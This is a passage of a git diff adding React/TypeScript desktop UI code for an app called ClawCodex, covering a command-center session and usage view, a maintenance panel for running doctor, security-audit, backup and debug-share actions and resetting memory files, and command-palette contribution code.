+              ) : (
+                <ul>
+                  {filteredSessions.map(session => {
+                    const pinId = sessionPinId(session)
+                    const pinned = pinnedSessionIds.includes(pinId)
+
+                    return (
+                      <li className="group flex items-center gap-2 py-2" key={session.id}>
+                        <button
+                          className="min-w-0 flex-1 text-left"
+                          onClick={() => onOpenSession(session.id)}
+                          type="button"
+                        >
+                          <div className="truncate text-[length:var(--conversation-text-font-size)] font-medium text-foreground">
+                            {sessionTitle(session)}
+                          </div>
+                          <div className="truncate text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+                            {formatTimestamp(session.last_active || session.started_at)}
+                          </div>
+                        </button>
+                        <div className="flex shrink-0 items-center gap-0.5 opacity-0 transition-opacity group-hover:opacity-100 focus-within:opacity-100">
+                          <RowIconButton
+                            onClick={() => (pinned ? unpinSession(pinId) : pinSession(pinId))}
+                            title={pinned ? cc.unpinSession : cc.pinSession}
+                          >
+                            {pinned ? <BookmarkFilled className="size-3.5" /> : <Bookmark className="size-3.5" />}
+                          </RowIconButton>
+                          <RowIconButton
+                            onClick={() => void exportSession(session.id, { session, title: sessionTitle(session) })}
+                            title={cc.exportSession}
+                          >
+                            <Download className="size-3.5" />
+                          </RowIconButton>
+                          <RowIconButton
+                            className="hover:text-destructive"
+                            onClick={() => void onDeleteSession(session.id)}
+                            title={cc.deleteSession}
+                          >
+                            <Trash2 className="size-3.5" />
+                          </RowIconButton>
+                        </div>
+                      </li>
+                    )
+                  })}
+                </ul>
+              )}
+            </div>
+          ) : section === 'usage' ? (
+            <UsagePanel
+              error={usageError}
+              loading={usageLoading}
+              onRefresh={() => void refreshUsage(usagePeriod)}
+              period={usagePeriod}
+              usage={usage}
+            />
+          ) : section === 'maintenance' ? (
+            <MaintenancePanel />
+          ) : (
+            <div className="grid min-h-0 flex-1 grid-rows-[auto_minmax(0,1fr)] gap-4">
+              <div>
+                {status ? (
+                  <div className="grid gap-2">
+                    <div className="flex items-start justify-between gap-3 max-[47.5rem]:flex-col max-[47.5rem]:gap-2">
+                      <div className="min-w-0">
+                        <div className="flex items-center gap-2">
+                          <span
+                            className={cn(
+                              'size-2 shrink-0 rounded-full',
+                              status.gateway_running ? 'bg-emerald-500' : 'bg-amber-500'
+                            )}
+                          />
+                          <span className="text-[length:var(--conversation-text-font-size)] font-medium text-foreground">
+                            {status.gateway_running ? cc.gatewayRunning : cc.gatewayStopped}
+                          </span>
+                        </div>
+                        <div className="mt-1 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+                          {cc.clawcodexActiveSessions(status.version, status.active_sessions)}
+                        </div>
+                      </div>
+                      <div className="flex shrink-0 flex-wrap items-center gap-x-3 gap-y-1 whitespace-nowrap max-[47.5rem]:whitespace-normal">
+                        <Button onClick={() => void runSystemAction('restart')} size="xs" variant="text">
+                          {cc.restartGateway}
+                        </Button>
+                        <Button onClick={() => void runSystemAction('update')} size="xs" variant="textStrong">
+                          {cc.updateClawCodex}
+                        </Button>
+                      </div>
+                    </div>
+                    {systemAction && (
+                      <div className="text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+                        {systemAction.name} ·{' '}
+                        {systemAction.running
+                          ? cc.actionRunning
+                          : systemAction.exit_code === 0
+                            ? cc.actionDone
+                            : cc.actionFailed}
+                      </div>
+                    )}
+                  </div>
+                ) : (
+                  <PageLoader className="min-h-32" label={cc.loadingStatus} />
+                )}
+              </div>
+
+              <div className="flex min-h-0 flex-col pt-2">
+                <div className="mb-2 flex flex-wrap items-center justify-between gap-x-3 gap-y-1">
+                  <span className="text-[0.625rem] font-medium uppercase tracking-[0.08em] text-(--ui-text-tertiary)">
+                    {cc.recentLogs}
+                  </span>
+                  <div className="flex flex-wrap items-center gap-x-3 gap-y-1">
+                    <ResponsiveTabs
+                      align="end"
+                      onChange={id => setLogFile(id as (typeof LOG_FILES)[number])}
+                      tabs={LOG_FILES.map(value => ({ id: value, label: value }))}
+                      value={logFile}
+                    />
+                    <ResponsiveTabs
+                      align="end"
+                      onChange={id => setLogLevel(id as (typeof LOG_LEVELS)[number])}
+                      tabs={LOG_LEVELS.map(value => ({
+                        id: value,
+                        label: value === 'ALL' ? 'all' : value.toLowerCase()
+                      }))}
+                      value={logLevel}
+                    />
+                    <SearchField
+                      containerClassName="w-44"
+                      onChange={next => setLogQuery(next)}
+                      placeholder={cc.logSearchPlaceholder}
+                      value={logQuery}
+                    />
+                  </div>
+                  {systemError && (
+                    <span className="inline-flex items-center gap-1 text-[length:var(--conversation-caption-font-size)] text-destructive">
+                      <AlertCircle className="size-3.5" />
+                      {systemError}
+                    </span>
+                  )}
+                </div>
+                <LogTail
+                  className="flex-1 rounded-lg border border-(--ui-stroke-tertiary) bg-(--ui-bg-quinary)"
+                  emptyLabel={cc.noLogs}
+                  lines={systemLoading && logs.length === 0 ? null : visibleLogs}
+                />
+              </div>
+            </div>
+          )}
+        </OverlayMain>
+      </OverlaySplitLayout>
+    </OverlayView>
+  )
+}
+
+interface UsagePanelProps {
+  error: string
+  loading: boolean
+  onRefresh: () => void
+  period: UsagePeriod
+  usage: AnalyticsResponse | null
+}
+
+function UsagePanel({ error, loading, onRefresh, period, usage }: UsagePanelProps) {
+  const { t } = useI18n()
+  const cc = t.commandCenter
+  const daily = useMemo(() => usage?.daily ?? [], [usage])
+  const totals = usage?.totals
+  const byModel = usage?.by_model ?? []
+  const topSkills = usage?.skills?.top_skills ?? []
+
+  const maxTokens = useMemo(() => {
+    if (!daily.length) {
+      return 1
+    }
+
+    return daily.reduce((acc, entry) => Math.max(acc, (entry.input_tokens || 0) + (entry.output_tokens || 0)), 1)
+  }, [daily])
+
+  if (!totals) {
+    return (
+      <div className="min-h-0 flex-1">
+        {loading ? (
+          <PageLoader className="min-h-48" label={cc.loadingUsage} />
+        ) : (
+          <EmptyPanel
+            action={
+              <Button onClick={onRefresh} size="xs" variant="text">
+                {cc.retry}
+              </Button>
+            }
+            description={cc.noUsage(period)}
+          />
+        )}
+      </div>
+    )
+  }
+
+  return (
+    <div className="flex min-h-0 flex-1 flex-col gap-5 overflow-y-auto pb-2">
+      {error && (
+        <span className="inline-flex items-center gap-1 text-[length:var(--conversation-caption-font-size)] text-destructive">
+          <AlertCircle className="size-3.5" />
+          {error}
+        </span>
+      )}
+
+      <div className="grid grid-cols-2 gap-x-4 gap-y-4 py-2 sm:grid-cols-3">
+        <UsageStat label={cc.statSessions} value={compactNumber(totals.total_sessions)} />
+        <UsageStat label={cc.statApiCalls} value={compactNumber(totals.total_api_calls)} />
+        <UsageStat
+          label={cc.statTokens}
+          value={`${compactNumber(totals.total_input)} / ${compactNumber(totals.total_output)}`}
+        />
+      </div>
+
+      <section>
+        <div className="mb-2 flex items-baseline justify-between">
+          <span className="text-[0.625rem] font-medium uppercase tracking-[0.08em] text-(--ui-text-tertiary)">
+            {cc.dailyTokens}
+          </span>
+          <span className="flex items-center gap-3 text-[0.65rem] text-(--ui-text-tertiary)">
+            <span className="inline-flex items-center gap-1">
+              <span className="size-2 rounded-[1px] bg-[color:var(--dt-primary)]/60" /> {cc.input}
+            </span>
+            <span className="inline-flex items-center gap-1">
+              <span className="size-2 rounded-[1px] bg-emerald-500/70" /> {cc.output}
+            </span>
+          </span>
+        </div>
+        {daily.length === 0 ? (
+          <div className="grid h-24 place-items-center text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+            {cc.noDailyActivity}
+          </div>
+        ) : (
+          <>
+            <div className="flex h-24 items-end gap-px">
+              {daily.map(entry => {
+                const inputH = Math.round(((entry.input_tokens || 0) / maxTokens) * 96)
+                const outputH = Math.round(((entry.output_tokens || 0) / maxTokens) * 96)
+
+                return (
+                  <div
+                    className="group relative flex h-24 min-w-0 flex-1 flex-col justify-end"
+                    key={entry.day}
+                    title={`${entry.day} · in ${compactNumber(entry.input_tokens)} · out ${compactNumber(entry.output_tokens)}`}
+                  >
+                    <div
+                      className="w-full rounded-t-[1px] bg-[color:var(--dt-primary)]/50"
+                      style={{ height: Math.max(inputH, entry.input_tokens > 0 ? 1 : 0) }}
+                    />
+                    <div
+                      className="w-full bg-emerald-500/60"
+                      style={{ height: Math.max(outputH, entry.output_tokens > 0 ? 1 : 0) }}
+                    />
+                  </div>
+                )
+              })}
+            </div>
+            <div className="mt-1 flex justify-between text-[0.6rem] text-(--ui-text-tertiary)">
+              <span>{daily[0]?.day}</span>
+              <span>{daily[daily.length - 1]?.day}</span>
+            </div>
+          </>
+        )}
+      </section>
+
+      <div className="grid min-h-0 gap-x-8 gap-y-5 pt-1 sm:grid-cols-2">
+        <UsageList
+          emptyLabel={cc.noModelUsage}
+          rows={byModel.slice(0, 6).map(entry => ({
+            key: entry.model,
+            label: entry.model,
+            value: `${compactNumber((entry.input_tokens || 0) + (entry.output_tokens || 0))}`
+          }))}
+          title={cc.topModels}
+        />
+        <UsageList
+          emptyLabel={cc.noSkillActivity}
+          rows={topSkills.slice(0, 6).map(entry => ({
+            key: entry.skill,
+            label: entry.skill,
+            value: cc.actions(compactNumber(entry.total_count))
+          }))}
+          title={cc.topSkills}
+        />
+      </div>
+    </div>
+  )
+}
+
+function UsageList({
+  emptyLabel,
+  rows,
+  title
+}: {
+  emptyLabel: string
+  rows: Array<{ key: string; label: string; value: string }>
+  title: string
+}) {
+  return (
+    <section className="min-w-0">
+      <div className="mb-1.5 text-[0.625rem] font-medium uppercase tracking-[0.08em] text-(--ui-text-tertiary)">
+        {title}
+      </div>
+      {rows.length === 0 ? (
+        <div className="text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+          {emptyLabel}
+        </div>
+      ) : (
+        <ul>
+          {rows.map(row => (
+            <li className="flex items-center justify-between gap-2 py-1.5" key={row.key}>
+              <span className="min-w-0 truncate font-mono text-[0.7rem] text-foreground">{row.label}</span>
+              <span className="shrink-0 text-[0.65rem] text-(--ui-text-tertiary)">{row.value}</span>
+            </li>
+          ))}
+        </ul>
+      )}
+    </section>
+  )
+}
+
+function UsageStat({ hint, label, value }: { hint?: string; label: string; value: string }) {
+  return (
+    <div className="min-w-0">
+      <div className="text-[0.625rem] font-medium uppercase tracking-[0.12em] text-(--ui-text-tertiary)">{label}</div>
+      <div className="mt-1 truncate text-base font-semibold tracking-tight text-foreground">{value}</div>
+      {hint && <div className="mt-0.5 truncate text-[0.62rem] text-(--ui-text-tertiary)">{hint}</div>}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/command-center/maintenance.tsx b/ui-desktop/src/app/command-center/maintenance.tsx
new file mode 100644
index 000000000..dc27b3b9c
--- /dev/null
+++ b/ui-desktop/src/app/command-center/maintenance.tsx
@@ -0,0 +1,416 @@
+import { useCallback, useEffect, useState } from 'react'
+
+import {
+  type ActionResponse,
+  type CuratorStatusResponse,
+  type DebugShareResponse,
+  getActionStatus,
+  getCuratorStatus,
+  getMemoryStatus,
+  type MemoryStatusResponse,
+  resetMemory,
+  runBackup,
+  runCurator,
+  runDebugShare,
+  runDoctor,
+  runSecurityAudit,
+  setCuratorPaused
+} from '@/clawcodex'
+import { PageLoader } from '@/components/page-loader'
+import { Badge } from '@/components/ui/badge'
+import { Button } from '@/components/ui/button'
+import { useI18n } from '@/i18n'
+import { AlertCircle } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import { upsertDesktopActionTask } from '@/store/activity'
+import { notify, notifyError } from '@/store/notifications'
+import type { ActionStatusResponse } from '@/types/clawcodex'
+
+const ACTION_POLL_MS = 1200
+const ACTION_POLL_LIMIT = 240 // ~5 minutes of polling before giving up.
+
+function formatBytes(size: number): string {
+  if (size <= 0) {
+    return ''
+  }
+
+  if (size >= 1024 * 1024) {
+    return `${(size / (1024 * 1024)).toFixed(1)} MB`
+  }
+
+  if (size >= 1024) {
+    return `${(size / 1024).toFixed(1)} KB`
+  }
+
+  return `${size} B`
+}
+
+/** Maintenance panel — desktop parity for `clawcodex doctor` / `security audit` /
+ *  `backup` / `debug share` / `curator` / `memory` (the dashboard System page's
+ *  ops section). Spawn-based actions tail their logs inline via the shared
+ *  /api/actions status endpoint. */
+export function MaintenancePanel() {
+  const { t } = useI18n()
+  const mm = t.commandCenter.maintenance
+
+  const [actionName, setActionName] = useState<null | string>(null)
+  const [actionStatus, setActionStatus] = useState<ActionStatusResponse | null>(null)
+  const [curator, setCurator] = useState<CuratorStatusResponse | null>(null)
+  const [curatorBusy, setCuratorBusy] = useState(false)
+  const [memory, setMemory] = useState<MemoryStatusResponse | null>(null)
+  const [memoryBusy, setMemoryBusy] = useState(false)
+  const [share, setShare] = useState<DebugShareResponse | null>(null)
+  const [sharing, setSharing] = useState(false)
+  const [error, setError] = useState('')
+
+  useEffect(() => {
+    let cancelled = false
+
+    getCuratorStatus()
+      .then(next => !cancelled && setCurator(next))
+      .catch(() => {})
+    getMemoryStatus()
+      .then(next => !cancelled && setMemory(next))
+      .catch(() => {})
+
+    return () => void (cancelled = true)
+  }, [])
+
+  // Tail the most recently launched spawn action.
+  useEffect(() => {
+    if (!actionName) {
+      return
+    }
+
+    let cancelled = false
+    let polls = 0
+    let timer: null | number = null
+
+    const poll = async () => {
+      try {
+        const status = await getActionStatus(actionName, 200)
+
+        if (cancelled) {
+          return
+        }
+
+        setActionStatus(status)
+        upsertDesktopActionTask(status)
+        polls += 1
+
+        if (status.running && polls < ACTION_POLL_LIMIT) {
+          timer = window.setTimeout(() => void poll(), ACTION_POLL_MS)
+        }
+      } catch {
+        // Status endpoint hiccup — stop tailing; the activity rail still has the task.
+      }
+    }
+
+    void poll()
+
+    return () => {
+      cancelled = true
+
+      if (timer !== null) {
+        window.clearTimeout(timer)
+      }
+    }
+  }, [actionName])
+
+  const launch = useCallback(
+    async (label: string, start: () => Promise<ActionResponse>) => {
+      setError('')
+
+      try {
+        const started = await start()
+        setActionStatus(null)
+        setActionName(started.name)
+        notify({ kind: 'success', title: mm.actionStarted(label), message: '' })
+      } catch (err) {
+        setError(err instanceof Error ? err.message : String(err))
+        notifyError(err, mm.actionFailed(label))
+      }
+    },
+    [mm]
+  )
+
+  const shareDebug = useCallback(async () => {
+    setSharing(true)
+    setShare(null)
+    setError('')
+
+    try {
+      setShare(await runDebugShare())
+    } catch (err) {
+      setError(err instanceof Error ? err.message : String(err))
+      notifyError(err, mm.debugShareFailed)
+    } finally {
+      setSharing(false)
+    }
+  }, [mm])
+
+  const toggleCurator = useCallback(async () => {
+    if (!curator) {
+      return
+    }
+
+    setCuratorBusy(true)
+
+    try {
+      const next = !curator.paused
+      await setCuratorPaused(next)
+      setCurator({ ...curator, paused: next })
+    } catch (err) {
+      notifyError(err, mm.actionFailed(mm.curator))
+    } finally {
+      setCuratorBusy(false)
+    }
+  }, [curator, mm])
+
+  const doResetMemory = useCallback(
+    async (target: 'all' | 'memory' | 'user', label: string) => {
+      if (!window.confirm(mm.resetConfirm(label))) {
+        return
+      }
+
+      setMemoryBusy(true)
+
+      try {
+        const result = await resetMemory(target)
+        notify({ kind: 'success', title: mm.resetDone(result.deleted.join(', ') || label), message: '' })
+        setMemory(await getMemoryStatus())
+      } catch (err) {
+        notifyError(err, mm.resetFailed)
+      } finally {
+        setMemoryBusy(false)
+      }
+    },
+    [mm]
+  )
+
+  return (
+    <div className="flex min-h-0 flex-1 flex-col gap-5 overflow-y-auto pb-2">
+      {error && (
+        <span className="inline-flex items-center gap-1 text-[length:var(--conversation-caption-font-size)] text-destructive">
+          <AlertCircle className="size-3.5" />
+          {error}
+        </span>
+      )}
+
+      <section>
+        <SectionLabel>{mm.runOps}</SectionLabel>
+        <OpRow
+          description={mm.doctorDesc}
+          disabled={actionStatus?.running === true}
+          label={mm.doctor}
+          onRun={() => void launch(mm.doctor, runDoctor)}
+        />
+        <OpRow
+          description={mm.securityAuditDesc}
+          disabled={actionStatus?.running === true}
+          label={mm.securityAudit}
+          onRun={() => void launch(mm.securityAudit, runSecurityAudit)}
+        />
+        <OpRow
+          description={mm.backupDesc}
+          disabled={actionStatus?.running === true}
+          label={mm.backup}
+          onRun={() => void launch(mm.backup, runBackup)}
+        />
+        <OpRow
+          description={mm.debugShareDesc}
+          disabled={sharing}
+          label={sharing ? mm.debugShareRunning : mm.debugShare}
+          onRun={() => void shareDebug()}
+        />
+
+        {share && Object.keys(share.urls).length > 0 && (
+          <div className="mt-2 rounded-lg border border-(--ui-stroke-tertiary) bg-(--ui-bg-quinary) p-3">
+            <div className="mb-1.5 text-[0.68rem] font-semibold uppercase tracking-[0.12em] text-muted-foreground">
+              {mm.debugShareLinks}
+            </div>
+            {Object.entries(share.urls).map(([key, url]) => (
+              <div className="flex items-center justify-between gap-2 py-1" key={key}>
+                <span className="min-w-0 truncate font-mono text-[0.7rem]">
+                  {key}: {url}
+                </span>
+                <Button
+                  onClick={() => {
+                    void window.clawcodexDesktop.writeClipboard(url)
+                    notify({ durationMs: 1500, kind: 'success', message: mm.linkCopied })
+                  }}
+                  size="xs"
+                  variant="text"
+                >
+                  {mm.copyLink}
+                </Button>
+              </div>
+            ))}
+          </div>
+        )}
+
+        {actionStatus && (
+          <div className="mt-2">
+            <div className="mb-1.5 flex items-center gap-2 text-[0.68rem] font-semibold uppercase tracking-[0.12em] text-muted-foreground">
+              {mm.viewLog}
+              {actionStatus.running && <span className="normal-case tracking-normal">{mm.running}</span>}
+            </div>
+            <pre
+              className="max-h-48 overflow-auto whitespace-pre-wrap wrap-break-word rounded-lg border border-(--ui-stroke-tertiary) bg-(--ui-bg-quinary) p-3 font-mono text-[0.65rem] leading-relaxed text-(--ui-text-tertiary)"
+              data-selectable-text="true"
+            >
+              {actionStatus.lines.join('\n')}
+            </pre>
+          </div>
+        )}
+      </section>
+
+      <section>
+        <SectionLabel>{mm.curator}</SectionLabel>
+        {!curator ? (
+          <PageLoader className="min-h-16" label={mm.curator} />
+        ) : (
+          <div className="flex items-center justify-between gap-3 py-2">
+            <div className="min-w-0">
+              <div className="flex items-center gap-2">
+                <span className="text-[length:var(--conversation-text-font-size)] font-medium">{mm.curator}</span>
+                <Badge
+                  className={cn(
+                    !curator.enabled
+                      ? 'bg-(--ui-bg-quinary) text-(--ui-text-tertiary)'
+                      : curator.paused
+                        ? 'bg-amber-500/15 text-amber-400'
+                        : 'bg-emerald-500/15 text-emerald-400'
+                  )}
+                >
+                  {!curator.enabled ? mm.curatorDisabled : curator.paused ? mm.curatorPaused : mm.curatorActive}
+                </Badge>
+              </div>
+              <div className="mt-0.5 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+                {mm.curatorDesc}
+                {' · '}
+                {curator.last_run_at ? mm.curatorLastRun(curator.last_run_at) : mm.curatorNeverRan}
+              </div>
+            </div>
+            <div className="flex shrink-0 items-center gap-1.5">
+              {curator.enabled && (
+                <Button disabled={curatorBusy} onClick={() => void toggleCurator()} size="xs" variant="text">
+                  {curator.paused ? mm.resume : mm.pause}
+                </Button>
+              )}
+              <Button
+                disabled={actionStatus?.running === true}
+                onClick={() => void launch(mm.curator, runCurator)}
+                size="xs"
+                variant="textStrong"
+              >
+                {mm.runNow}
+              </Button>
+            </div>
+          </div>
+        )}
+      </section>
+
+      <section>
+        <SectionLabel>{mm.memoryData}</SectionLabel>
+        {!memory ? (
+          <PageLoader className="min-h-16" label={mm.memoryData} />
+        ) : (
+          <div>
+            <div className="py-1 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+              {mm.memoryDataDesc}
+              {' · '}
+              {mm.memoryProvider(memory.active || mm.builtinMemory)}
+            </div>
+            <MemoryFileRow
+              busy={memoryBusy}
+              label={mm.memoryFile}
+              onReset={() => void doResetMemory('memory', mm.memoryFile)}
+              resetLabel={mm.resetMemory}
+              size={memory.builtin_files.memory}
+              sizeLabel={memory.builtin_files.memory > 0 ? formatBytes(memory.builtin_files.memory) : mm.empty}
+            />
+            <MemoryFileRow
+              busy={memoryBusy}
+              label={mm.userFile}
+              onReset={() => void doResetMemory('user', mm.userFile)}
+              resetLabel={mm.resetUser}
+              size={memory.builtin_files.user}
+              sizeLabel={memory.builtin_files.user > 0 ? formatBytes(memory.builtin_files.user) : mm.empty}
+            />
+          </div>
+        )}
+      </section>
+    </div>
+  )
+}
+
+function SectionLabel({ children }: { children: string }) {
+  return (
+    <div className="mb-1.5 text-[0.625rem] font-medium uppercase tracking-[0.08em] text-(--ui-text-tertiary)">
+      {children}
+    </div>
+  )
+}
+
+function OpRow({
+  description,
+  disabled,
+  label,
+  onRun
+}: {
+  description: string
+  disabled?: boolean
+  label: string
+  onRun: () => void
+}) {
+  return (
+    <div className="flex items-center justify-between gap-3 py-2">
+      <div className="min-w-0">
+        <div className="text-[length:var(--conversation-text-font-size)] font-medium">{label}</div>
+        <div className="mt-0.5 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+          {description}
+        </div>
+      </div>
+      <Button disabled={disabled} onClick={onRun} size="xs" variant="textStrong">
+        {label}
+      </Button>
+    </div>
+  )
+}
+
+function MemoryFileRow({
+  busy,
+  label,
+  onReset,
+  resetLabel,
+  size,
+  sizeLabel
+}: {
+  busy: boolean
+  label: string
+  onReset: () => void
+  resetLabel: string
+  size: number
+  sizeLabel: string
+}) {
+  return (
+    <div className="flex items-center justify-between gap-3 py-2">
+      <div className="min-w-0">
+        <span className="text-[length:var(--conversation-text-font-size)] font-medium">{label}</span>
+        <span className="ml-2 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+          {sizeLabel}
+        </span>
+      </div>
+      <Button
+        className="text-destructive hover:text-destructive"
+        disabled={busy || size <= 0}
+        onClick={onReset}
+        size="xs"
+        variant="text"
+      >
+        {resetLabel}
+      </Button>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/command-palette/contrib.ts b/ui-desktop/src/app/command-palette/contrib.ts
new file mode 100644
index 000000000..00b7b1ff6
--- /dev/null
+++ b/ui-desktop/src/app/command-palette/contrib.ts
@@ -0,0 +1,66 @@
+/**
+ * Command-palette contribution surface — `palette` data contributions become
+ * rows in the ⌘K root list, same schema as every other area. Contributions
+ * with an `action` id render that action's live keybind as their hotkey hint.
+ */
+
+import { useContributions } from '@/contrib/react/use-contributions'
+import type { IconComponent } from '@/lib/icons'
+
+export const PALETTE_AREA = 'palette'
+
+/** Payload of a `palette` data contribution. */
+export interface PaletteContribution {
+  id: string
+  label: string
+  /** Keybind action id — its live combo renders as the hotkey hint. */
+  action?: string
+  icon?: IconComponent
+  keywords?: string[]
+  run: () => void
+  /**
+   * Short note after the label — the live state the row acts on. A function
+   * because contributions register once at boot while that state keeps moving;
+   * the palette re-reads it on open.
+   */
+  detail?: () => string
+  /** `state` when running the row CHANGES what `detail` says. */
+  detailVariant?: 'muted' | 'state'
+  /** Leave the palette open after running — for rows you may run repeatedly. */
+  keepOpen?: boolean
+}
+
+/** Contributed palette rows, with stable render keys. */
+export function usePaletteContributions(): Array<PaletteContribution & { key: string }> {
+  return useContributions(PALETTE_AREA)
+    .map(c => ({ key: `${c.source ?? 'core'}:${c.id}`, ...(c.data as PaletteContribution) }))
+    .filter(item => Boolean(item.label && item.run))
+}
+
+/**
+ * A binary setting as one palette row: `Toggle status bar` trailed by the live
+ * state. The verb says what the row does, the note says where it stands —
+ * neither alone is enough to act on.
+ *
+ * Rows keep the palette open: flipping a setting is the kind of thing you do
+ * two or three of in a row, and the note updating in place is the receipt.
+ */
+export function paletteToggle(
+  spec: Omit<PaletteContribution, 'detail' | 'detailVariant' | 'keepOpen' | 'run'> & {
+    get: () => boolean
+    set: (enabled: boolean) => void
+  }
+) {
+  const { get, keywords = [], set, ...rest } = spec
+
+  const data: PaletteContribution = {
+    ...rest,
+    detail: () => (get() ? 'on' : 'off'),
+    detailVariant: 'state',
+    keepOpen: true,
+    keywords: [...keywords, 'on', 'off', 'enable', 'disable'],
+    run: () => set(!get())
+  }
+
+  return { id: data.id, area: PALETTE_AREA, data }
+}
diff --git a/ui-desktop/src/app/command-palette/index.tsx b/ui-desktop/src/app/command-palette/index.tsx
new file mode 100644
index 000000000..75d9bb9d2
--- /dev/null
+++ b/ui-desktop/src/app/command-palette/index.tsx
@@ -0,0 +1,1358 @@
+import { useStore } from '@nanostores/react'
+import { useQuery } from '@tanstack/react-query'
+import { Dialog as DialogPrimitive } from 'radix-ui'
+import { memo, useCallback, useDeferredValue, useEffect, useMemo, useRef, useState } from 'react'
+import { useNavigate } from 'react-router'
+
+import {
+  HUD_HEADING,
+  HUD_ITEM,
+  HUD_NOTE,
+  HUD_NOTE_VARIANT,
+  HUD_POSITION,
+  HUD_SURFACE,
+  HUD_TEXT
+} from '@/app/floating-hud'
+import { getClawCodexConfigRecord, listAllProfileSessions } from '@/clawcodex'
+import { codiconIcon } from '@/components/ui/codicon'
+import { Command, CommandGroup, CommandInput, CommandItem, CommandList } from '@/components/ui/command'
+import { HighlightMatches } from '@/components/ui/highlight-matches'
+import { KbdCombo } from '@/components/ui/kbd'
+import { useI18n } from '@/i18n'
+import { sessionTitle } from '@/lib/chat-runtime'
+import {
+  Activity,
+  AppWindow,
+  Archive,
+  BarChart3,
+  Check,
+  ChevronLeft,
+  ChevronRight,
+  Clock,
+  Cpu,
+  Download,
+  Egg,
+  GitBranch,
+  Globe,
+  type IconComponent,
+  Info,
+  KeyRound,
+  Layers3,
+  MessageCircle,
+  Monitor,
+  Moon,
+  Package,
+  Palette,
+  PawPrint,
+  Plus,
+  RefreshCw,
+  Settings,
+  Settings2,
+  SlidersHorizontal,
+  Starmap,
+  Sun,
+  Users,
+  Wrench,
+  Zap
+} from '@/lib/icons'
+import { normalize } from '@/lib/text'
+import { cn } from '@/lib/utils'
+import { resolveVersionStatus } from '@/lib/version-status'
+import { $repoWorktrees } from '@/store/coding-status'
+import {
+  $commandPaletteOpen,
+  $commandPalettePage,
+  closeCommandPalette,
+  setCommandPaletteOpen
+} from '@/store/command-palette'
+import { $bindings, bindingsFor } from '@/store/keybinds'
+import { $dismissedAutoProjectIds, filterVisibleProjects } from '@/store/layout'
+import { openPetGenerate } from '@/store/pet-generate'
+import { $projectTree, goToProject, openFolderAsProject, requestStartWorkSession } from '@/store/projects'
+import { $connection } from '@/store/session'
+import { runGatewayRestart } from '@/store/system-actions'
+import {
+  $backendUpdateApply,
+  $backendUpdateStatus,
+  $desktopVersion,
+  $updateApply,
+  $updateStatus,
+  requestActiveUpdate
+} from '@/store/updates'
+import { canOpenNewWindow, openNewWindow } from '@/store/windows'
+import { luminance } from '@/themes/color'
+import { type ThemeMode, useTheme } from '@/themes/context'
+import { isUserTheme, resolveTheme } from '@/themes/user-themes'
+
+import { openSession, openSessionIntentFromModifiers } from '../open-session'
+import {
+  AGENTS_ROUTE,
+  ARTIFACTS_ROUTE,
+  COMMAND_CENTER_ROUTE,
+  CRON_ROUTE,
+  MESSAGING_ROUTE,
+  navigateToWorkspacePage,
+  NEW_CHAT_ROUTE,
+  PROFILES_ROUTE,
+  SETTINGS_ROUTE,
+  SKILLS_ROUTE,
+  STARMAP_ROUTE
+} from '../routes'
+import { FIELD_LABELS, SECTIONS } from '../settings/constants'
+import { fieldCopyForSchemaKey } from '../settings/field-copy'
+import { prettyName } from '../settings/helpers'
+
+import { usePaletteContributions } from './contrib'
+import { MarketplaceThemePage } from './marketplace-theme-page'
+import { PetInlineToggle, PetPalettePage } from './pet-palette-page'
+
+interface PaletteItem {
+  /** Keybind action id — its live combo renders as a hotkey hint. */
+  action?: string
+  /** Renders a trailing check: this row IS the current setting (theme, mode). */
+  active?: boolean
+  /** Static trailing combo hint for a modifier-variant select (e.g. `mod+enter`). */
+  comboHint?: string
+  /** Short note beside the label — state the row acts on (a version, a count). */
+  detail?: string
+  /** `state` when the row will change what `detail` says (a toggle's on/off). */
+  detailVariant?: keyof typeof HUD_NOTE_VARIANT
+  icon: IconComponent
+  id: string
+  /** Keep the palette open after running (live-preview pickers like theme/mode). */
+  keepOpen?: boolean
+  keywords?: string[]
+  label: string
+  /** Label shown while ⌘/⌃ is held — previews the modifier-variant action. */
+  modLabel?: string
+  /**
+   * When set, ⌘/⌃-select (or ⌘-Enter) opens a new tab and ⇧⌘-select pops a
+   * window — matching sidebar session rows. Plain select stays in-place.
+   * Receives the last selector event so the modifiers can be read.
+   */
+  runWithEvent?: (event?: { ctrlKey?: boolean; metaKey?: boolean; shiftKey?: boolean }) => void
+  /** Action to run when selected. Mutually exclusive with `to`. */
+  run?: () => void
+  /** Open a nested palette page (VS Code-style "choose X → options"). */
+  to?: string
+}
+
+interface PaletteGroup {
+  /** Optional: a headingless group renders as a bare action row (e.g. the
+   *  "Install theme…" entry pinned atop the theme picker). */
+  heading?: string
+  items: PaletteItem[]
+}
+
+// Nested page → its parent, so Back / Esc step up one level instead of closing
+// the palette. Pages absent here go straight back to the root list.
+const PAGE_PARENTS: Record<string, string> = { 'install-theme': 'theme' }
+
+/** A nested page reachable from a root item via `to`. */
+interface PalettePage {
+  groups: PaletteGroup[]
+  placeholder: string
+  title: string
+}
+
+interface SessionEntry {
+  git_branch?: null | string
+  id: string
+  preview?: string
+  title: string
+}
+
+// Ranking happens in React, not cmdk. We score, sort, and prune the groups
+// ourselves and hand cmdk an already-ordered list with `shouldFilter={false}`,
+// leaving it as pure keyboard/selection machinery. (cmdk's own group
+// re-sorting silently no-ops: its sort() queries groups by an internal id that
+// never matches the heading text it writes into `data-value`, so groups always
+// keep source order — which put a generic keyword match like "Capabilities" on
+// top and the auto-highlight on it while an exact "Tools" row sat below.)
+//
+// cmdk still auto-selects the first DOM item whenever the search changes, so
+// rendering best-match-first is what puts the highlight on the best match.
+//
+// AND semantics: every typed word must appear in the label or keywords. The
+// grade rewards matches on the visible label — exact > prefix > whole word >
+// word prefix > substring > scattered terms > keyword-only — so typing "tools"
